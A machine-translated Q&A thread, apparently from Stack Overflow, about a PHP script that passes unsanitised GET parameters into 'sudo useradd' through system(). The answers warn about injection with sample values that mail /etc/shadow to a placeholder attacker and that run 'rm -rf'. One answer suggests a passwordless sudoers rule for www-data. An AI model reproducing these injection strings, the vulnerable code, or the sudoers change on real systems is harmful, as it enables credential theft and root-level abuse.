我有一个PHP代码,但我有一个问题,我无法理解。 我只想在我的电脑中创建一个本地用户 当我使用system()时,我的页面不显示/做任何事情
<?php
session_start();
//inici de la sessio
//cridem al fitxer de connexions
include 'connexio.php';
//taula de la bbdd
include 'header.php';
mysql_select_db('easyadmin');
$usuari = $_GET["user"];
$contrasenya = $_GET["password"];
$carpeta = $_GET["home"];
$grup = $_GET["group"];
$ShellUnix = $_GET["shell"];
echo "usuari: $usuari";
echo "la pass: $contrasenya";
echo "carpta: $carpeta";
echo "el grup: $grup";
echo "shell: $ShellUnix";
//system("sudo useradd -d ".$carpeta." -m -g ".$grup." -s ".$ShellUnix $usuari);
/*
if(!system('sudo useradd -d '.$carpeta.' -m -g'.$grup.' -s'.$ShellUnix $usuari'))
{
echo "error al crear un usuari";
// header("Location: principal.php");
}else{
echo "el usuari ".$usuari." se ha creat correctament";
// header("Location: cusuari.php");
}
mysql_close($conexio);
*/
?>
没有人工作。
非常感谢
答案 0 :(得分:1)
这非常危险。您正在将不受信任的数据传递给正在执行的命令。更糟糕的是,该命令以root身份运行。
如果坏人为
的用户提交了值somename; cat /etc/passwd /etc/shadow | mail badguy@example.com
然后您刚刚将密码文件邮寄给现在可以破解密码的坏人。
使用外部数据构建的运行命令就像吃在家门口找到的成分制成的汤。
答案 1 :(得分:0)
要允许www-data运行useradd命令,您需要在/ etc / sudoers中添加一行,如
www-data ALL=(root) NOPASSWD: /usr/sbin/useradd
如果/ etc / sudoers中存在该行,您可能还需要注释掉该行:
Defaults requiretty
答案 2 :(得分:0)
sudo
正在尝试询问用户的密码以验证命令。但是,system()
不允许这样的来回。至少,不是在服务器API上下文中(即在浏览器中加载)。
如果您使用passthru
并在命令行(例如bash)上运行它,可能能够执行此操作 - 我自己在Windows上使用它,使用PHP CLI制作包含CHOICE
和PAUSE
等电话的控制台应用程序。
或者,您应该找出用户运行PHP脚本的内容(echo `whoami`;
应该执行此操作),并授予该用户运行useradd
命令的权限,而无需密码。
另外,要非常小心地运行这样的敏感命令。始终分别对每个参数使用escapeshellarg
以确保命令完全按照您的意图执行。毕竟,我可以输入我的用户名Robert && rm -rf ./
,因为你给了它sudo
许可,再见系统!